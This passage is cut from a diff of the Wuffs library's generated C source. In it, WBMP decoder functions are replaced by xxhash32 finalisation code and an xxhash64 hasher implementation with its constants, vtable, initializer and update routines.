++ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 4u; ++ } ++ if (8u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 8u; + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (12u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); ++ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); ++ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); ++ v_ret *= 668265263u; ++ v_i = 12u; + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ while (v_i < v_n) { ++ v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); ++ v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); ++ v_ret *= 2654435761u; ++ v_i += 1u; + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ v_ret ^= (v_ret >> 15u); ++ v_ret *= 2246822519u; ++ v_ret ^= (v_ret >> 13u); ++ v_ret *= 3266489917u; ++ v_ret ^= (v_ret >> 16u); ++ return v_ret; ++} + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++// ---------------- Status Codes Implementations + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++// ---------------- Private Consts + +-// -------- func wbmp.decoder.do_decode_frame ++#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++#define WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727u + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_x_in_bytes = 0; +- uint32_t v_dst_x = 0; +- uint32_t v_dst_y = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_src[1] = {0}; +- uint8_t v_c = 0; ++#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161u + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579u + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- if (coro_susp_point) { +- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; +- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; +- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; +- memcpy(v_src, self->private_data.s_do_decode_frame[0].v_src, sizeof(v_src)); +- v_c = self->private_data.s_do_decode_frame[0].v_c; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261u + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(536870920u), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- if (self->private_impl.f_width > 0u) { +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (v_dst_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_x = 0u; +- while (v_dst_x < self->private_impl.f_width) { +- if ((v_dst_x & 7u) == 0u) { +- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); +- if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); +- } +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } +- if ((v_c & 128u) == 0u) { +- v_src[0u] = 0u; +- } else { +- v_src[0u] = 255u; +- } +- v_c = ((uint8_t)((((uint32_t)(v_c)) << 1u))); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } +- v_dst_y += 1u; +- } +- } +- self->private_impl.f_call_sequence = 96u; ++#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902u + +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; +- } ++#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727u + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; +- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; +- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; +- memcpy(self->private_data.s_do_decode_frame[0].v_src, v_src, sizeof(v_src)); +- self->private_data.s_do_decode_frame[0].v_c = v_c; ++#define WUFFS_XXHASH64__INITIAL_V2 0u + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825u + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func wbmp.decoder.frame_dirty_rect ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_wbmp__decoder__frame_dirty_rect( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } ++static wuffs_base__empty_struct ++wuffs_xxhash64__hasher__up( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} ++// ---------------- VTables + +-// -------- func wbmp.decoder.num_animation_loops ++const wuffs_base__hasher_u64__func_ptrs ++wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { ++ (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_xxhash64__hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_xxhash64__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), ++ (uint64_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_wbmp__decoder__num_animation_loops( +- const wuffs_wbmp__decoder* self) { ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash64__hasher__initialize( ++ wuffs_xxhash64__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { +- return 0; ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- return 0u; +-} ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } + +-// -------- func wbmp.decoder.num_decoded_frame_configs ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = ++ wuffs_base__hasher_u64__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = ++ (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frame_configs( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return 0; ++wuffs_xxhash64__hasher* ++wuffs_xxhash64__hasher__alloc(void) { ++ wuffs_xxhash64__hasher* x = ++ (wuffs_xxhash64__hasher*)(calloc(1, sizeof(wuffs_xxhash64__hasher))); ++ if (!x) { ++ return NULL; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (wuffs_xxhash64__hasher__initialize( ++ x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; ++size_t ++sizeof__wuffs_xxhash64__hasher(void) { ++ return sizeof(wuffs_xxhash64__hasher); + } + +-// -------- func wbmp.decoder.num_decoded_frames ++// ---------------- Function Implementations ++ ++// -------- func xxhash64.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frames( +- const wuffs_wbmp__decoder* self) { ++wuffs_xxhash64__hasher__get_quirk( ++ const wuffs_xxhash64__hasher* self, ++ uint32_t a_key) { + if (!self) { + return 0; + } +@@ -61266,20 +76026,17 @@ wuffs_wbmp__decoder__num_decoded_frames( + return 0; + } + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } + return 0u; + } + +-// -------- func wbmp.decoder.restart_frame ++// -------- func xxhash64.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__restart_frame( +- wuffs_wbmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { ++wuffs_xxhash64__hasher__set_quirk( ++ wuffs_xxhash64__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -61290,77 +76047,206 @@ wuffs_wbmp__decoder__restart_frame( + : wuffs_base__error__initialize_not_called); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func wbmp.decoder.set_report_metadata ++// -------- func xxhash64.hasher.update + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_wbmp__decoder__set_report_metadata( +- wuffs_wbmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { ++wuffs_xxhash64__hasher__update( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { ++ self->private_impl.f_v0 = 6983438078262162902u; ++ self->private_impl.f_v1 = 14029467366897019727u; ++ self->private_impl.f_v2 = 0u; ++ self->private_impl.f_v3 = 7046029288634856825u; ++ } ++ wuffs_xxhash64__hasher__up(self, a_x); + return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.tell_me_more ++// -------- func xxhash64.hasher.update_u64 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__tell_me_more( +- wuffs_wbmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__update_u64( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return 0; + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ wuffs_xxhash64__hasher__update(self, a_x); ++ return wuffs_xxhash64__hasher__checksum_u64(self); ++} + +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++// -------- func xxhash64.hasher.up ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_xxhash64__hasher__up( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_new_lmu = 0; ++ uint64_t v_buf_u64 = 0; ++ uint32_t v_buf_len = 0; ++ uint64_t v_v0 = 0; ++ uint64_t v_v1 = 0; ++ uint64_t v_v2 = 0; ++ uint64_t v_v3 = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); ++ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); ++ self->private_impl.f_length_modulo_u64 = v_new_lmu; ++ while (true) { ++ if (self->private_impl.f_buf_len >= 32u) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); ++ v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); ++ v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); ++ v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); ++ v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); ++ self->private_impl.f_buf_len = 0u; ++ break; ++ } ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ self->private_impl.f_buf_len += 1u; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ v_buf_len = (self->private_impl.f_buf_len & 31u); ++ v_v0 = self->private_impl.f_v0; ++ v_v1 = self->private_impl.f_v1; ++ v_v2 = self->private_impl.f_v2; ++ v_v3 = self->private_impl.f_v3; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | ++ (((uint64_t)(v_p.ptr[1u])) << 8u) | ++ (((uint64_t)(v_p.ptr[2u])) << 16u) | ++ (((uint64_t)(v_p.ptr[3u])) << 24u) | ++ (((uint64_t)(v_p.ptr[4u])) << 32u) | ++ (((uint64_t)(v_p.ptr[5u])) << 40u) | ++ (((uint64_t)(v_p.ptr[6u])) << 48u) | ++ (((uint64_t)(v_p.ptr[7u])) << 56u)); ++ v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | ++ (((uint64_t)(v_p.ptr[9u])) << 8u) | ++ (((uint64_t)(v_p.ptr[10u])) << 16u) | ++ (((uint64_t)(v_p.ptr[11u])) << 24u) | ++ (((uint64_t)(v_p.ptr[12u])) << 32u) | ++ (((uint64_t)(v_p.ptr[13u])) << 40u) | ++ (((uint64_t)(v_p.ptr[14u])) << 48u) | ++ (((uint64_t)(v_p.ptr[15u])) << 56u)); ++ v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | ++ (((uint64_t)(v_p.ptr[17u])) << 8u) | ++ (((uint64_t)(v_p.ptr[18u])) << 16u) | ++ (((uint64_t)(v_p.ptr[19u])) << 24u) | ++ (((uint64_t)(v_p.ptr[20u])) << 32u) | ++ (((uint64_t)(v_p.ptr[21u])) << 40u) | ++ (((uint64_t)(v_p.ptr[22u])) << 48u) | ++ (((uint64_t)(v_p.ptr[23u])) << 56u)); ++ v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | ++ (((uint64_t)(v_p.ptr[25u])) << 8u) | ++ (((uint64_t)(v_p.ptr[26u])) << 16u) | ++ (((uint64_t)(v_p.ptr[27u])) << 24u) | ++ (((uint64_t)(v_p.ptr[28u])) << 32u) | ++ (((uint64_t)(v_p.ptr[29u])) << 40u) | ++ (((uint64_t)(v_p.ptr[30u])) << 48u) | ++ (((uint64_t)(v_p.ptr[31u])) << 56u)); ++ v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); ++ v_p.ptr += 32; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 31u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- return status; ++ self->private_impl.f_buf_len = v_buf_len; ++ self->private_impl.f_v0 = v_v0; ++ self->private_impl.f_v1 = v_v1; ++ self->private_impl.f_v2 = v_v2; ++ self->private_impl.f_v3 = v_v3; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.history_retain_length ++// -------- func xxhash64.hasher.checksum_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__history_retain_length( +- const wuffs_wbmp__decoder* self) { ++wuffs_xxhash64__hasher__checksum_u64( ++ const wuffs_xxhash64__hasher* self) { + if (!self) { + return 0; + } +@@ -61369,83 +76255,307 @@ wuffs_wbmp__decoder__history_retain_length( + return 0; + } + +- return 0u; +-} +- +-// -------- func wbmp.decoder.workbuf_len ++ uint64_t v_ret = 0; ++ uint64_t v_v0 = 0; ++ uint64_t v_v1 = 0; ++ uint64_t v_v2 = 0; ++ uint64_t v_v3 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_i8 = 0; ++ uint32_t v_n = 0; ++ uint32_t v_buf_u32 = 0; ++ uint64_t v_buf_u64 = 0; + 